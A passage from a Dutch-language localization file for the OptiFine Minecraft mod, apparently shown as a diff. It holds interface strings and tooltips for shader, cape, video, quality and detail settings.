Shaders. +of.message.af.shaders2=Schakel Shaders uit om deze optie te gebruiken. + +of.message.fr.shaders1=Snelle Render is niet compatibel met Shaders. +of.message.fr.shaders2=Schakel Shaders uit om deze optie te gebruiken. + +of.message.an.shaders1=3D Anaglyph is niet compatibel met Shaders. +of.message.an.shaders2=Schakel Shaders uit om deze optie te gebruiken. + +of.message.shaders.aa1=Shaders zijn niet compatibel met Antialiasing. +of.message.shaders.aa2=Zet Quality -> Antialiasing UIT en herstart het spel. + +of.message.shaders.af1=Shaders zijn niet compatibel met Anisotropic Filtering. +of.message.shaders.af2=Zet Quality -> Anisotropische Filtering UIT. + +of.message.shaders.fr1=Shaders zijn niet compatibel met Snelle Render. +of.message.shaders.fr2=Zet Performance -> Snelle Render UIT. + +of.message.shaders.an1=Shaders zijn niet compatibel met 3D Anaglyph. +of.message.shaders.an2=Zet Other -> 3D Anaglyph UIT. + +of.message.shaders.nv1=Deze shader pack vereist een nieuwere OptiFine versie: %s +of.message.shaders.nv2=Weet je zeker dat je door wilt gaan? + +of.message.newVersion=Een nieuwe §eOptiFine§f versie is beschikbaar: §e%s§f +of.message.java64Bit=Je kunt §e64-bit Java§f installeren voor betere prestaties. +of.message.openglError=§eOpenGL Error§f: %s (%s) + +of.message.shaders.loading=Shaders laden: %s + +of.message.other.reset=Alle video instellingen herstellen naar standaard waarden? + +of.message.loadingVisibleChunks=Zichtbare chunks laden + +# Skin customization + +of.options.skinCustomisation.ofCape=OptiFine Cape... + +of.options.capeOF.title=OptiFine Cape +of.options.capeOF.openEditor=Open Cape Bewerker +of.options.capeOF.reloadCape=Cape Herladen + +of.message.capeOF.openEditor=De OptiFine cape bewerker opent in je web browser. +of.message.capeOF.reloadCape=The cape zal herladen in 15 seconde. + +of.message.capeOF.error1=Mojang authenticatie mislukt. +of.message.capeOF.error2=Error: %s + +# Video settings + +options.graphics.tooltip.1=Visuele Kwaliteit +options.graphics.tooltip.2= Snel - lagere kwaliteit, sneller +options.graphics.tooltip.3= Fraai - hogere kwaliteit, langzamer +options.graphics.tooltip.4=Verandert hoe wolken, bladeren, water, +options.graphics.tooltip.5=schaduwen and gras eruit ziet. + +of.options.renderDistance.tiny=Klein +of.options.renderDistance.short=Kort +of.options.renderDistance.normal=Normaal +of.options.renderDistance.far=Ver +of.options.renderDistance.extreme=Extreem +of.options.renderDistance.insane=Krankzinnig +of.options.renderDistance.ludicrous=Belachelijk + +options.renderDistance.tooltip.1=Zichtbare Afstand +options.renderDistance.tooltip.2= 2 Klein - 32m (snelste) +options.renderDistance.tooltip.3= 8 Normaal - 128m (normaal) +options.renderDistance.tooltip.4= 16 Ver - 256m (langzamer) +options.renderDistance.tooltip.5= 32 Extreem - 512m (langzaamste!) erg veeleisend +options.renderDistance.tooltip.6= 48 Krankzinnig - 768m, 2GB toegewezen RAM benodigd +options.renderDistance.tooltip.7= 64 Belachelijk - 1024m, 3GB toegewezen RAM benodigd +options.renderDistance.tooltip.8=Waarden boven de 16 (Ver) zijn alleen effectief in locale werelden. + +options.ao.tooltip.1=Zachte Verlichting +options.ao.tooltip.2= UIT - geen zachte verlichting (sneller) +options.ao.tooltip.3= Minimaal - simpele zachte verlichting (langzamer) +options.ao.tooltip.4= Maximaal - complexe zachte verlichting (langzaamste) + +options.framerateLimit.tooltip.1=Maximale framerate +options.framerateLimit.tooltip.2= VSync - gelimiteerd aan monitor framerate (60, 30, 20) +options.framerateLimit.tooltip.3= 5-255 - variabel +options.framerateLimit.tooltip.4= Onbeperkt - geen limiet (snelste) +options.framerateLimit.tooltip.5=Het framerate limiet verminderd FPS zelfs +options.framerateLimit.tooltip.6=als het limiet niet is bereikt. +of.options.framerateLimit.vsync=VSync + +of.options.AO_LEVEL=Zachte Verlichting Level +of.options.AO_LEVEL.tooltip.1=Zachte verlichting level +of.options.AO_LEVEL.tooltip.2= UIT - geen schaduwen +of.options.AO_LEVEL.tooltip.3= 50%% - lichte schaduwen +of.options.AO_LEVEL.tooltip.4= 100%% - donkere schaduwen + +options.viewBobbing.tooltip.1=Realistischere Bewegingen +options.viewBobbing.tooltip.2=Als je mipmaps gebruikt zet dit UIT voor het beste resultaat. + +options.guiScale.tooltip.1=GUI Schaal +options.guiScale.tooltip.2= Auto - maximale grootte +options.guiScale.tooltip.3= Klein, Normaal, Groot - 1x tot 3x +options.guiScale.tooltip.4= 4x tot 10x - beschikbaar op 4K displays +options.guiScale.tooltip.5=Oneven waarden (1x, 3x, 5x ...) zijn niet compatibel met Unicode. +options.guiScale.tooltip.6=Een kleinere GUI kan sneller zijn. + +options.vbo=VBO's gebruiken +options.vbo.tooltip.1=Vertex Buffer Objecten +options.vbo.tooltip.2=Gebruikt een alternatieve rendering model die over het algemeen +options.vbo.tooltip.3=sneller is (5-10%%) dan standaard rendering. + +options.gamma.tooltip.1=Verandert de helderheid van donkere objecten. +options.gamma.tooltip.2= Somber - standaard helderheid +options.gamma.tooltip.3= 1-99%% - variabel +options.gamma.tooltip.4= Helder - maximale helderheid voor donkere objecten +options.gamma.tooltip.5=Deze optie verandert niet de helderheid van +options.gamma.tooltip.6=zwarte objecten. + +options.anaglyph.tooltip.1=3D Anaglyph +options.anaglyph.tooltip.2=Activeerd een stereoscopisch 3D effect met verschillende kleuren +options.anaglyph.tooltip.3=voor elk oog. +options.anaglyph.tooltip.4=3D bril (rood-cyaan) benodigd voor juiste weergave. + +of.options.ALTERNATE_BLOCKS=Alternatieve Blokken +of.options.ALTERNATE_BLOCKS.tooltip.1=Alternatieve Blokken +of.options.ALTERNATE_BLOCKS.tooltip.2=Gebruikt alternatieve blok modellen voor sommige blokken. +of.options.ALTERNATE_BLOCKS.tooltip.3=Hangt af van het geselecteerde bronpakket. + +of.options.FOG_FANCY=Mist +of.options.FOG_FANCY.tooltip.1=Mist type +of.options.FOG_FANCY.tooltip.2= Snel - snellere mist +of.options.FOG_FANCY.tooltip.3= Fraai - langzamere mist, ziet er beter uit +of.options.FOG_FANCY.tooltip.4= OFF - geen mist, snelste +of.options.FOG_FANCY.tooltip.5=Fraaie mist is alleen beschikbaar als je +of.options.FOG_FANCY.tooltip.6=videokaart dit ondersteund. + +of.options.FOG_START=Mist Start +of.options.FOG_START.tooltip.1=Mist start +of.options.FOG_START.tooltip.2= 0.2 - mist start in de buurt van de speler +of.options.FOG_START.tooltip.3= 0.8 - mist start ver van de speler +of.options.FOG_START.tooltip.4=Deze optie heeft geen invloed op prestaties. + +of.options.CHUNK_LOADING=Chunks Laden +of.options.CHUNK_LOADING.tooltip.1=Chunks Laden +of.options.CHUNK_LOADING.tooltip.2= Standaard - instabiele FPS wanneer chunks geladen worden +of.options.CHUNK_LOADING.tooltip.3= Stabiel - stabiele FPS +of.options.CHUNK_LOADING.tooltip.4= Multi-Core - stabiele FPS, 3x sneller laden +of.options.CHUNK_LOADING.tooltip.5=Stabiel en Multi-Core elimineerd instabiliteit +of.options.CHUNK_LOADING.tooltip.6=veroorzaakt door het laden van chunks. +of.options.CHUNK_LOADING.tooltip.7=Multi-Core kan het laden met 3x versnellen en +of.options.CHUNK_LOADING.tooltip.8=de FPS verhogen door een tweede processor kern te gebruiken. +of.options.chunkLoading.smooth=Stabiel +of.options.chunkLoading.multiCore=Multi-Core + +of.options.shaders=Shaders... +of.options.shadersTitle=Shaders + +of.options.shaders.packNone=UIT +of.options.shaders.packDefault=(intern) + +of.options.shaders.ANTIALIASING=Antialiasing +of.options.shaders.ANTIALIASING.tooltip.1=Antialiasing +of.options.shaders.ANTIALIASING.tooltip.2= UIT - (standaard) geen antialiasing (sneller) +of.options.shaders.ANTIALIASING.tooltip.3= FXAA 2x, 4x - vloeiendere lijnen en randen (langzamer) +of.options.shaders.ANTIALIASING.tooltip.4=FXAA is een video effect die lijnen, randen +of.options.shaders.ANTIALIASING.tooltip.5=en kleurtransities vloeiender maakt. +of.options.shaders.ANTIALIASING.tooltip.6=Het is sneller dan traditionele antialiasing +of.options.shaders.ANTIALIASING.tooltip.7=en is compatibel met Shaders en Snelle Render. + +of.options.shaders.NORMAL_MAP=Normal Map +of.options.shaders.NORMAL_MAP.tooltip.1=Normal Map +of.options.shaders.NORMAL_MAP.tooltip.2= AAN - (standaard) activeer normal maps +of.options.shaders.NORMAL_MAP.tooltip.3= UIT - deactiveer normal maps +of.options.shaders.NORMAL_MAP.tooltip.4=Normal maps kunnen bij met Shaders gebruikt +of.options.shaders.NORMAL_MAP.tooltip.5=worden om 3D geometrie te simuleren op een plat oppervlak. +of.options.shaders.NORMAL_MAP.tooltip.6=De normal map textures zijn geleverd +of.options.shaders.NORMAL_MAP.tooltip.7=met het geselecteerde bronpakket. + +of.options.shaders.SPECULAR_MAP=Specular Map +of.options.shaders.SPECULAR_MAP.tooltip.1=Specular Map +of.options.shaders.SPECULAR_MAP.tooltip.2= AAN - (standaard) activeer specular maps +of.options.shaders.SPECULAR_MAP.tooltip.3= UIT - deactiveer specular maps +of.options.shaders.SPECULAR_MAP.tooltip.4=Specular maps kunnen gebruikt worden +of.options.shaders.SPECULAR_MAP.tooltip.5=om weerspiegeling te simuleren. +of.options.shaders.SPECULAR_MAP.tooltip.6=De specular maps zijn geleverd +of.options.shaders.SPECULAR_MAP.tooltip.7=met het geselecteerde bronpakket. + +of.options.shaders.RENDER_RES_MUL=Render Kwaliteit +of.options.shaders.RENDER_RES_MUL.tooltip.1=Render Kwaliteit +of.options.shaders.RENDER_RES_MUL.tooltip.2= 0.5x - laag (snelste) +of.options.shaders.RENDER_RES_MUL.tooltip.3= 1x - standaard (standaard) +of.options.shaders.RENDER_RES_MUL.tooltip.4= 2x - hoog (langzaamste) +of.options.shaders.RENDER_RES_MUL.tooltip.5=Render kwaliteit regelt de maat van +of.options.shaders.RENDER_RES_MUL.tooltip.6=textures gebruikt door het shader pakket. +of.options.shaders.RENDER_RES_MUL.tooltip.7=Lagere waarden zijn handig voor 4K displays. +of.options.shaders.RENDER_RES_MUL.tooltip.8=Hogere waarden welke als antialiasing. + +of.options.shaders.SHADOW_RES_MUL=Schaduw Kwaliteit +of.options.shaders.SHADOW_RES_MUL.tooltip.1=Schaduw Kwaliteit +of.options.shaders.SHADOW_RES_MUL.tooltip.2= 0.5x - laag (snelste) +of.options.shaders.SHADOW_RES_MUL.tooltip.3= 1x - standaard (standaard) +of.options.shaders.SHADOW_RES_MUL.tooltip.4= 2x - hoog (langzaamste) +of.options.shaders.SHADOW_RES_MUL.tooltip.5=Schaduw kwaliteit regelt de maat van de schaduw map +of.options.shaders.SHADOW_RES_MUL.tooltip.6=texture gebruikt door het shader pakket. +of.options.shaders.SHADOW_RES_MUL.tooltip.7=Lagere waarden = onnauwkeurig, grove schaduwen. +of.options.shaders.SHADOW_RES_MUL.tooltip.8=Hogere waarden = gedetailleerd, fijnere schaduwen. + +of.options.shaders.HAND_DEPTH_MUL=Hand Depth +of.options.shaders.HAND_DEPTH_MUL.tooltip.1=Hand Diepte +of.options.shaders.HAND_DEPTH_MUL.tooltip.2= 0.5x - hand dicht bij de camera +of.options.shaders.HAND_DEPTH_MUL.tooltip.3= 1x - (standaard) +of.options.shaders.HAND_DEPTH_MUL.tooltip.4= 2x - hand ver van de camera +of.options.shaders.HAND_DEPTH_MUL.tooltip.5=Hand diepte regelt hoe ver vastgehouden objecten zijn +of.options.shaders.HAND_DEPTH_MUL.tooltip.6=van de camera. +of.options.shaders.HAND_DEPTH_MUL.tooltip.7=Voor shader pakketen die diepte blur gebruiken veranderd +of.options.shaders.HAND_DEPTH_MUL.tooltip.8=dit de vervaaging van vastgehouden objecten. + +of.options.shaders.CLOUD_SHADOW=Wolken Schaduw + +of.options.shaders.OLD_HAND_LIGHT=Oude Handbelichting +of.options.shaders.OLD_HAND_LIGHT.tooltip.1=Oud Hand Licht +of.options.shaders.OLD_HAND_LIGHT.tooltip.2= Standaard - geregeld door het shader pakket +of.options.shaders.OLD_HAND_LIGHT.tooltip.3= AAN - gebruik oude handbelichting +of.options.shaders.OLD_HAND_LIGHT.tooltip.4= UIT - gebruik nieuwe handbelichting +of.options.shaders.OLD_HAND_LIGHT.tooltip.5=Oude handbelichting maakt het mogelijk voor shader paketten +of.options.shaders.OLD_HAND_LIGHT.tooltip.6=die alleen belichte objecten in de primaire hand herkennen +of.options.shaders.OLD_HAND_LIGHT.tooltip.7=ook belichte objecten in de secundaire hand te herkennen. + +of.options.shaders.OLD_LIGHTING=Oude Belichting +of.options.shaders.OLD_LIGHTING.tooltip.1=Oude Belichting +of.options.shaders.OLD_LIGHTING.tooltip.2= Standaard - geregeld door het shader pakket +of.options.shaders.OLD_LIGHTING.tooltip.3= AAN - gebruik oude belichting +of.options.shaders.OLD_LIGHTING.tooltip.4= OFF - gebruik nieuwe belichting +of.options.shaders.OLD_LIGHTING.tooltip.5=Oude belichting regelt de vaste belichting toegepast +of.options.shaders.OLD_LIGHTING.tooltip.6=door vanilla aan de zijkanten van blokken. +of.options.shaders.OLD_LIGHTING.tooltip.7=Shader pakketten die schaduw gebruiken zijn meestal voorzien +of.options.shaders.OLD_LIGHTING.tooltip.8=van betere belichting afhankelijk van de positie van de zon. + +of.options.shaders.DOWNLOAD=Download Shaders +of.options.shaders.DOWNLOAD.tooltip.1=Download Shaders +of.options.shaders.DOWNLOAD.tooltip.2= +of.options.shaders.DOWNLOAD.tooltip.3=Opent de shader pakketten in de web browser +of.options.shaders.DOWNLOAD.tooltip.4=Stop het gedownloade shader pakket in de "Shaders" map +of.options.shaders.DOWNLOAD.tooltip.5=en ze zullen verschijnen in de lijst van geïnstalleerde shaders. + +of.options.shaders.SHADER_PACK=Shader Pakket + +of.options.shaders.shadersFolder=Shaders Map +of.options.shaders.shaderOptions=Shader Opties... + +of.options.shaderOptionsTitle=Shader Opties + +of.options.quality=Kwaliteit... +of.options.qualityTitle=Kwaliteit Instellingen + +of.options.details=Details... +of.options.detailsTitle=Detail Installingen + +of.options.performance=Prestatie... +of.options.performanceTitle=Prestatie Instellingen + +of.options.animations=Animatie... +of.options.animationsTitle=Animatie Instellingen + +of.options.other=Overige... +of.options.otherTitle=Overige Instellingen + +of.options.other.reset=Video Instellingen Herstellen... + +of.shaders.profile=Profiel + +# Quality + +of.options.mipmap.bilinear=Bilineair +of.options.mipmap.linear=Lineair +of.options.mipmap.nearest=Dichtsbijzijnd +of.options.mipmap.trilinear=Trilineair + +options.mipmapLevels.tooltip.1=Visuele effecten die verre objecten er beter uit doen zien +options.mipmapLevels.tooltip.2=door texture details zachter te maken +options.mipmapLevels.tooltip.3= UIT - geen verzachting +options.mipmapLevels.tooltip.4= Minimaal - minimale verzachting +options.mipmapLevels.tooltip.5= Maximaal - maximale verzachting +options.mipmapLevels.tooltip.6=Deze optie heeft geen invloed op prestaties. + +of.options.MIPMAP_TYPE=Mipmap Type +of.options.MIPMAP_TYPE.tooltip.1=Visueel effect die verre objecten er beter uit doen zien +of.options.MIPMAP_TYPE.tooltip.2=door texture details zachter te maken +of.options.MIPMAP_TYPE.tooltip.3= Dichtsbijzijnd - grove verzachting (snelste) +of.options.MIPMAP_TYPE.tooltip.4= Lineair - normale verzachting +of.options.MIPMAP_TYPE.tooltip.5= Bilineair - fijne verzachting +of.options.MIPMAP_TYPE.tooltip.6= Trilineair - fijnste verzachting (langzaamste) + + +of.options.AA_LEVEL=Antialiasing +of.options.AA_LEVEL.tooltip.1=Antialiasing +of.options.AA_LEVEL.tooltip.2= UIT - (standaard) geen antialiasing (sneller) +of.options.AA_LEVEL.tooltip.3= 2-16 - geantialiaseerde lijnen en randen (langzamer) +of.options.AA_LEVEL.tooltip.4=Antialiasing maakt lijnen, randen +of.options.AA_LEVEL.tooltip.5=en kleurtransities vloeiender. +of.options.AA_LEVEL.tooltip.6=Wanneer geactiveerd kan dit een grote impact hebben op de FPS. +of.options.AA_LEVEL.tooltip.7=Niet alle levels zijn door alle videokaarten ondersteund. +of.options.AA_LEVEL.tooltip.8=Effectief na herstarten van het spel. + +of.options.AF_LEVEL=Anisotropische Filtering +of.options.AF_LEVEL.tooltip.1=Anisotropische Filtering +of.options.AF_LEVEL.tooltip.2= UIT - (standaard) standaard texture detail (sneller) +of.options.AF_LEVEL.tooltip.3= 2-16 - fijnere details in gemipmapde textures (langzamer) +of.options.AF_LEVEL.tooltip.4=De Anisotropische Filtering herstelt details in +of.options.AF_LEVEL.tooltip.5=gemipmapde textures. +of.options.AF_LEVEL.tooltip.6=Wanneer geactiveerd kan dit een grote impact hebben op de FPS. + +of.options.CLEAR_WATER=Helder Water +of.options.CLEAR_WATER.tooltip.1=Helder Water +of.options.CLEAR_WATER.tooltip.2= AAN - helder, transparant water +of.options.CLEAR_WATER.tooltip.3= UIT - standaard water + +of.options.RANDOM_ENTITIES=Willekeurige Entiteiten +of.options.RANDOM_ENTITIES.tooltip.1=Willekeurige Entiteiten +of.options.RANDOM_ENTITIES.tooltip.2= UIT - geen willekeurige entiteiten, sneller +of.options.RANDOM_ENTITIES.tooltip.3= AAN - willekeurige entiteiten, langzamer +of.options.RANDOM_ENTITIES.tooltip.4=Willekeurige Entiteiten gebruikt willekeurige textures voor entiteiten. +of.options.RANDOM_ENTITIES.tooltip.5=Heeft een bronpakket met meerdere textures voor entiteiten nodig. + +of.options.BETTER_GRASS=Beter Gras +of.options.BETTER_GRASS.tooltip.1=Beter Gras +of.options.BETTER_GRASS.tooltip.2= UIT - standaard gras texture, snelste +of.options.BETTER_GRASS.tooltip.3= Snel - volledige gras texture, langzamer +of.options.BETTER_GRASS.tooltip.4= Fraai - dynamische gras texture, langzaamste + +of.options.BETTER_SNOW=Betere Sneeuw +of.options.BETTER_SNOW.tooltip.1=Betere Sneeuw +of.options.BETTER_SNOW.tooltip.2= UIT - standaard sneeuw, sneller +of.options.BETTER_SNOW.tooltip.3= AAN - betere sneeuw, langzamer +of.options.BETTER_SNOW.tooltip.4=Geeft sneeuw onder transparante blokken weer (hekken, gras) +of.options.BETTER_SNOW.tooltip.5=bij het aangrenzen van sneeuw. + +of.options.CUSTOM_FONTS=Aangepaste Lettertypen +of.options.CUSTOM_FONTS.tooltip.1=Aangepaste Lettertypen +of.options.CUSTOM_FONTS.tooltip.2= AAN - gebruik aangepaste lettertypen (standaard), langzamer +of.options.CUSTOM_FONTS.tooltip.3= UIT - gebruik standaard lettertype, sneller +of.options.CUSTOM_FONTS.tooltip.4=De aangepaste lettertypen zijn geleverd door het huidige +of.options.CUSTOM_FONTS.tooltip.5=bronpakket. + +of.options.CUSTOM_COLORS=Aangepaste Kleuren +of.options.CUSTOM_COLORS.tooltip.1=Aangepaste Kleuren +of.options.CUSTOM_COLORS.tooltip.2= AAN - gebruik aangepaste kleuren (standaard), langzamer +of.options.CUSTOM_COLORS.tooltip.3= UIT - gebruik standaard kleuren, sneller +of.options.CUSTOM_COLORS.tooltip.4=De aangepaste kleuren zijn geleverd door het huidige +of.options.CUSTOM_COLORS.tooltip.5=bronpakket. + +of.options.SWAMP_COLORS=Moeras Kleuren +of.options.SWAMP_COLORS.tooltip.1=Moeras Kleuren +of.options.SWAMP_COLORS.tooltip.2= AAN - gebruik moeras kleuren (standaard), langzamer +of.options.SWAMP_COLORS.tooltip.3= UIT - gebruik geen moeras kleuren, sneller +of.options.SWAMP_COLORS.tooltip.4=Heeft effect op gras, bladeren lianen en water. + +of.options.SMOOTH_BIOMES=Vloeiende Biotopen +of.options.SMOOTH_BIOMES.tooltip.1=Vloeiende Biotopen +of.options.SMOOTH_BIOMES.tooltip.2= AAN - verzacht grenzen tussen biotopen (standaard), langzamer +of.options.SMOOTH_BIOMES.tooltip.3= UIT - geen verzachting van biotoop grenzen, sneller +of.options.SMOOTH_BIOMES.tooltip.4=Het verzachten van biotoop grenzen is gedaan door het +of.options.SMOOTH_BIOMES.tooltip.5=nemen van de gemiddelde kleur van nabijgelegen blokken. +of.options.SMOOTH_BIOMES.tooltip.6=Heeft effect op gras, bladeren lianen en water + +of.options.CONNECTED_TEXTURES=Verbonden Textures +of.options.CONNECTED_TEXTURES.tooltip.1=Verbonden Textures +of.options.CONNECTED_TEXTURES.tooltip.2= UIT - geen verbonden textures (standaard) +of.options.CONNECTED_TEXTURES.tooltip.3= Snel - snelle verbonden textures +of.options.CONNECTED_TEXTURES.tooltip.4= Fraai - fraaie verbonden textures +of.options.CONNECTED_TEXTURES.tooltip.5=Verbind de textures van glas, sandstone en +of.options.CONNECTED_TEXTURES.tooltip.6=boekenkasten wanneer naast elkaar geplaatst. +of.options.CONNECTED_TEXTURES.tooltip.7=Verbonden textures worden geleverd door +of.options.CONNECTED_TEXTURES.tooltip.8=het geselecteerde bronpakket. + +of.options.NATURAL_TEXTURES=Natuurlijke Textures +of.options.NATURAL_TEXTURES.tooltip.1=Natuurlijke Textures +of.options.NATURAL_TEXTURES.tooltip.2= UIT - geen natuurlijke textures (standaard) +of.options.NATURAL_TEXTURES.tooltip.3= AAN - gebruik natuurlijke textures +of.options.NATURAL_TEXTURES.tooltip.4=Natuurlijke textures elimineren hetroosterachtige patroon +of.options.NATURAL_TEXTURES.tooltip.5=dat ontstaat bij het herhalen van dezelfde blokken. +of.options.NATURAL_TEXTURES.tooltip.6=Het gebruikt gedraaide en gespiegelde varianten van +of.options.NATURAL_TEXTURES.tooltip.7=de basis texture. De configuratie voor de natuurlijke +of.options.NATURAL_TEXTURES.tooltip.8=textures geleverd door het geselecteerde bronpakket. + +of.options.EMISSIVE_TEXTURES=Belichte Textures +of.options.EMISSIVE_TEXTURES.tooltip.1=Belichte Textures +of.options.EMISSIVE_TEXTURES.tooltip.2= UIT - geen belichte textures (standaard) +of.options.EMISSIVE_TEXTURES.tooltip.3= AAN - gebruik belichte textures +of.options.EMISSIVE_TEXTURES.tooltip.4=De belichte textures zijn gerenderd als overlays +of.options.EMISSIVE_TEXTURES.tooltip.5=met volle helderheid. Deze kunen gebruikt worden om +of.options.EMISSIVE_TEXTURES.tooltip.6=belichting van delen van de basis texture te simuleren. +of.options.EMISSIVE_TEXTURES.tooltip.7=Belichte textures zijn geleverd door het geselecteerde +of.options.EMISSIVE_TEXTURES.tooltip.8=bronpakket. + +of.options.CUSTOM_SKY=Aangepaste Hemel +of.options.CUSTOM_SKY.tooltip.1=Aangepaste Hemel +of.options.CUSTOM_SKY.tooltip.2= AAN - aangepaste hemel textures (standard), langzaam +of.options.CUSTOM_SKY.tooltip.3= UIT - standaard hemel, sneller +of.options.CUSTOM_SKY.tooltip.4=Aangepaste hemel textures zijn geleverd door het geselecteerde +of.options.CUSTOM_SKY.tooltip.5=bronpakket. + +of.options.CUSTOM_ITEMS=Aangepaste Objecten +of.options.CUSTOM_ITEMS.tooltip.1=Aangepasten Objecten +of.options.CUSTOM_ITEMS.tooltip.2= AAN - aangepaste object textures inschakelen (standaard), langzaam +of.options.CUSTOM_ITEMS.tooltip.3= UIT - standaard object textures, sneller +of.options.CUSTOM_ITEMS.tooltip.4=Aangepaste object textures zijn geleverd door het geselecteerde +of.options.CUSTOM_ITEMS.tooltip.5=bronpakket. + +of.options.CUSTOM_ENTITY_MODELS=Aangepaste Entiteit Modellen +of.options.CUSTOM_ENTITY_MODELS.tooltip.1=Aangepaste Entiteit Modellen +of.options.CUSTOM_ENTITY_MODELS.tooltip.2= AAN - aangepaste entiteit modellen (standaard), langzaam +of.options.CUSTOM_ENTITY_MODELS.tooltip.3= UIT - standaard entiteit modellen, sneller +of.options.CUSTOM_ENTITY_MODELS.tooltip.4=Aangepaste entiteit modellen zijn geleverd door het geselecteerde +of.options.CUSTOM_ENTITY_MODELS.tooltip.5=bronpakket. + +of.options.CUSTOM_GUIS=Aangepaste GUIs +of.options.CUSTOM_GUIS.tooltip.1=Aangepaste GUIs +of.options.CUSTOM_GUIS.tooltip.2= AAN - aangepaste GUIs (standaard), langzamer +of.options.CUSTOM_GUIS.tooltip.3= UIT - standaard GUIs, sneller +of.options.CUSTOM_GUIS.tooltip.4=Aangepaste GUIs zijn geleverd door het geselecteerde bronpakket. + +# Details + +of.options.CLOUDS=Wolken +of.options.CLOUDS.tooltip.1=Wolken +of.options.CLOUDS.tooltip.2= Standaard - als ingesteld bij Grafische Instellingen +of.options.CLOUDS.tooltip.3= Snel - lagere kwaliteit, sneller +of.options.CLOUDS.tooltip.4= Fraai - hogere kwaliteit, langzamer +of.options.CLOUDS.tooltip.5= UIT - geen wolken, snelste +of.options.CLOUDS.tooltip.6=Snelle wolken zijn 2D. +of.options.CLOUDS.tooltip.7=Fraaie wolken zijn 3D. + +of.options.CLOUD_HEIGHT=Wolk Hoogte +of.options.CLOUD_HEIGHT.tooltip.1=Wolk Hoogte +of.options.CLOUD_HEIGHT.tooltip.2= UIT - standaard hoogte +of.options.CLOUD_HEIGHT.tooltip.3= 100%% - boven wereld hoogte limiet + +of.options.TREES=Bomen +of.options.TREES.tooltip.1=Bomen +of.options.TREES.tooltip.2= Standaard - als ingesteld bij Grafische Instellingen +of.options.TREES.tooltip.3= Snel - lagere kwaliteit, sneller +of.options.TREES.tooltip.4= Slim - hogere kwaliteit, snel +of.options.TREES.tooltip.5= Fraai - hoogste kwaliteit, langzamer +of.options.TREES.tooltip.6=Snelle bomen hebben ondoorzichtige bladeren. +of.options.TREES.tooltip.7=Fraai en slimme bomen hebben transparante bladeren. + +of.options.RAIN=Regen en Sneeuw +of.options.RAIN.tooltip.1=Regen en Sneeuw +of.options.RAIN.tooltip.2= Standaard - als ingesteld bij Grafische Instellingen +of.options.RAIN.tooltip.3= Snel - lichte regen/sneeuw, sneller +of.options.RAIN.tooltip.4= Fraai - hevige regen/sneeuw, langzamer +of.options.RAIN.tooltip.5= UIT - geen regen/sneeuw, snelste +of.options.RAIN.tooltip.6=Als regen UIT is zijn spatten en geluid +of.options.RAIN.tooltip.7=nogsteeds actief. + +of.options.SKY=Hemel +of.options.SKY.tooltip.1=Hemel +of.options.SKY.tooltip.2= AAN - hemel is zichtbaar, langzamer +of.options.SKY.tooltip.3= UIT - hemel is niet zichtbaar, sneller +of.options.SKY.tooltip.4=Als hemel UIT is zijn de maan en zon nog zichtbaar. + +of.options.STARS=Sterren +of.options.STARS.tooltip.1=Sterren +of.options.STARS.tooltip.2= AAN - sterren zijn zichtbaar, langzamer +of.options.STARS.tooltip.3= UIT - sterren zijn niet zichtbaar, sneller + +of.options.SUN_MOON=Zon en Maan +of.options.SUN_MOON.tooltip.1=Zon en Maan +of.options.SUN_MOON.tooltip.2= AAN - zon en maan zijn zichtbaar (standaard) +of.options.SUN_MOON.tooltip.3= UIT - zon en maan zijn niet zichtbaar (sneller) + +of.options.SHOW_CAPES=Capes Tonen +of.options.SHOW_CAPES.tooltip.1=Capes Tonen +of.options.SHOW_CAPES.tooltip.2= AAN - speler capes tonen (standaard) +of.options.SHOW_CAPES.tooltip.3= UIT - geen speler capes tonen + +of.options.TRANSLUCENT_BLOCKS=Doorschijnende Blokken +of.options.TRANSLUCENT_BLOCKS.tooltip.1=Doorschijnende Blokken +of.options.TRANSLUCENT_BLOCKS.tooltip.2= Standaard - als ingesteld bij Grafische Instellingen +of.options.TRANSLUCENT_BLOCKS.tooltip.3= Fraai - correcte kleurtransities (langzamer) +of.options.TRANSLUCENT_BLOCKS.tooltip.4= Snel - snelle kleurtransities (sneller) +of.options.TRANSLUCENT_BLOCKS.tooltip.5=Regelt de kleurtransities van doorschijnende blokken +of.options.TRANSLUCENT_BLOCKS.tooltip.6=met verschillende kleuren (gekleurd glas, water, ijs) +of.options.TRANSLUCENT_BLOCKS.tooltip.7=wanneer deze achter elkaar staan met lucht ertussen. + +of.options.HELD_ITEM_TOOLTIPS=Vastgehouden Object Tooltips +of.options.HELD_ITEM_TOOLTIPS.tooltip.1=Vastgehouden Object Tooltips +of.options.HELD_ITEM_TOOLTIPS.tooltip.2= AAN - laat tooltips zien voor vastgehouden objecten (standaard) +of.options.HELD_ITEM_TOOLTIPS.tooltip.3= UIT - laat geen tooltips zien voor vastgehouden objecten + +of.options.ADVANCED_TOOLTIPS=Geadvanceerde Tooltips +of.options.ADVANCED_TOOLTIPS.tooltip.1=Geadvanceerde tooltips +of.options.ADVANCED_TOOLTIPS.tooltip.2= AAN - laat geadvanceerde tooltips zien +of.options.ADVANCED_TOOLTIPS.tooltip.3= UIT - laat geen geadvanceerde tooltips zien (standaard) +of.options.ADVANCED_TOOLTIPS.tooltip.4=Geadvanceerde tooltips laten meer informatie zien +of.options.ADVANCED_TOOLTIPS.tooltip.5=voor bepaalde objecten (id, levensduur) en voor shader opties +of.options.ADVANCED_TOOLTIPS.tooltip.6=(id, bron, standaard waarde). + +of.options.DROPPED_ITEMS=Gevallen Objecten +of.options.DROPPED_ITEMS.tooltip.1=Gevallen Objecten +of.options.DROPPED_ITEMS.tooltip.2= Standaard - als ingesteld bij Grafische Instellingen +of.options.DROPPED_ITEMS.tooltip.3= Snel - 2D gevallen objecten (sneller) +of.options.DROPPED_ITEMS.tooltip.4= Fraai - 3D gevallen objecten(langzamer) + +options.entityShadows.tooltip.1=Entiteit Schaduw +options.entityShadows.tooltip.2= AAN - geef entiteit schaduwen weer +options.entityShadows.tooltip.3= UIT - geef geen entiteit schaduwen weer + +of.options.VIGNETTE=Vignet +of.options.VIGNETTE.tooltip.1=Visueel effect die de hoeken van het scherm donkerder maakt +of.options.VIGNETTE.tooltip.2= Standaard - als ingesteld bij Grafische Instellingen (standaard) +of.options.VIGNETTE.tooltip.3= Snel - gebruik geen vignet (sneller) +of.options.VIGNETTE.tooltip.4= Fraai - gebruik vignet (langzamer) +of.options.VIGNETTE.tooltip.5=Het vignet kan een grote impact hebben op de FPS, +of.options.VIGNETTE.tooltip.6=voornamelijk bij gebruik van volledig scherm. +of.options.VIGNETTE.tooltip.7=Het vignet effect is erg subtiel and kan 